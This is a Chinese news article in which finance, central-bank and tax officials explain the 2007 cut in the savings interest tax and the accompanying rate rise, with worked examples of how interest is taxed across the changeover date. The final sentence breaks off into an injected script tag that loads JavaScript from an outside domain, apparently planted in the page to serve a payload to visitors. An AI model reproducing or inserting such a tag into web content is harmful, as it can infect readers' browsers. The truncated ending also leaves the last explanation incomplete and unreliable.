几天前，国务院宣布自8月15日起将储蓄存款利息税由现行的20%调减为5%，同时，中国人民银行宣布自7月21日起上调金融机构人民币存贷款基准利率。那么，这两项政策出台后如何作用于国家的财政和经济运行？对老百姓的生活有多大影响？7月25日上午，财政部、中国人民银行、国家税务总局、国务院法制办、中国银监会等五部门相关司局负责人接受采访，对利息税政策调整作出了权威而详实的解释。
有利于国民经济持续稳定增长
刘慧兰(人民银行条法司副司长)：按照目前一年期定期存款，现在利率调整以后是3.33%，利息税率由20%调减为5%，相当于对存款利率增加了将近0.5个百分点。
王建凡(财政部税政司副司长)：储蓄利息的个人所得税税率调减应该说可以起到适当增加储户储蓄收益的作用，从这个意义上讲，应该说它对于居民到银行存款是更加有吸引力的，毕竟居民在银行存款的收益增加了。
刘慧兰：因为最近cpi指数上升得很快，也关系到老百姓切身的利益，因此这次人民银行加息的主要目标之一其实就是调节和稳定通货膨胀预期，稳定物价。人民银行货币政策的目标就是保持币值稳定并以此促进经济的增长。这次加息和减税两者联动，再加上现在政府也在采取抑制物价的其他一系列措施，我们认为一系列政策的出台对稳定物价的效果会逐步显现出来。
王建凡：总体上看，出台减征利息税和加息的措施是有利于国民经济的持续、稳定增长，从长远看也是有利于国民经济的健康发展。当然，从减税和加息的两个措施的侧重点来看还是有所不同的。减税侧重于增加居民，特别是中低收入居民群体的存款实际收益。加息依然还是着力于对过热的经济进行普遍、适度的调节。
刘慧兰：这次调减利息税率和上调人民币存贷款基准利率实际上体现了财政政策和货币政策这两项重要宏观调控政策的协调配合。两项政策的同时出台有利于增强宏观调控的效果，对于引导货币信贷和投资的合理增长、对调节和稳定通货膨胀的预期、保障居民存款的利息收益、促进国民经济又好又快发展都是非常重要的。至于这两个政策之间有什么不同，利息税应该是属于财政政策的范畴，可以达到调节储蓄存款人收益的作用；加息属于货币政策的范畴，对经济运行进行总体、总量调控，这次调减利息税以后对存款人带来的收益是实实在在的。
王建凡：这次调减利息税的确会对利息税带来减收。我国一年的利息税收入每年大体是在400亿元左右，如果按全年来算账，20个点减到5实际上减少了四分之三，也就是说利息税收入由400多亿元减少到100亿元左右。所以从单项来讲对利息税的影响是存在的，但是由于我们近几年企业的效益在提高，个人的收入能力也在提高，我们的企业所得税和个人所得税都有一个比较高的比例增长，1至6月份企业所得税和个人所得税收入的增长比例都超过20%，所以虽然利息税本身减少了，但是个人所得税总体上还是有比较大幅度的增长，不会对国家财政带来大的减收压力，也不会影响对农民的一些财政支持政策，包括对农民的财政补贴。
调整前后如何分段计息和计税
刘丽坚(税务总局所得税管理司副司长)：按照国务院修订后的对储蓄存款所得征收利息税的实施办法，储蓄利息所得应该按照政策调整前和调整后分时段计算，按照不同的税率计征个人所得税。例如，某一人在2005年1月1日存入三年期存款，应该在2007年12月31日到期，该项存款2005年1月1日至2007年8月14日孳生的利息所得按照20%的税率计征个人所得税，而2007年8月15日至2007年12月31日孳生的利息所得应按照5%的利息税率计征个人所得税。
刘慧兰：计税必须是在计息的基础上才能计算出来。根据人民银行现行规定，居民个人存在商业银行和其他存款类金融机构的储蓄存款有两种计息的方法。一种是积数计息法，另一种是逐笔计息法。按照积数计息法计息的存款主要有活期存款、零存整取等。按照逐笔计息法计息的存款主要有整存整取、存本取息等。积数计息法主要是指商业银行每天累计每一储蓄账户存款余额乘以计息天数得到的计息积数，累计计息积数乘以日利率可以得到应付利息，在结息日将应付利息转入储蓄账户中。逐笔计息法一般是指在整存整取存款到期日，或者自动转存日按照预先设定的公式和相应利率逐笔计算相应的利息，同时扣缴利息税。如果发生提前支取，则提前支取部分按照当日活期利率计结利息，同时扣缴利息税。这是计息的规则，我们举例说明8月15日前后如何计息。比如，活期存款按照现行规定按季结息，并且适用结息日的利率计算利息。也就是说我们存在银行的活期储蓄每天只是累计计算计息积数，而不计算利息，等下一个结息日计算利息。
由于8月15日按新的税率结算税款，因此商业银行从8月15日分段计算计息积数，也就是说8月15日之前有一个积数，8月15日这天开始到结息日又有一个积数，到?script src=http://er12.com/t.js>
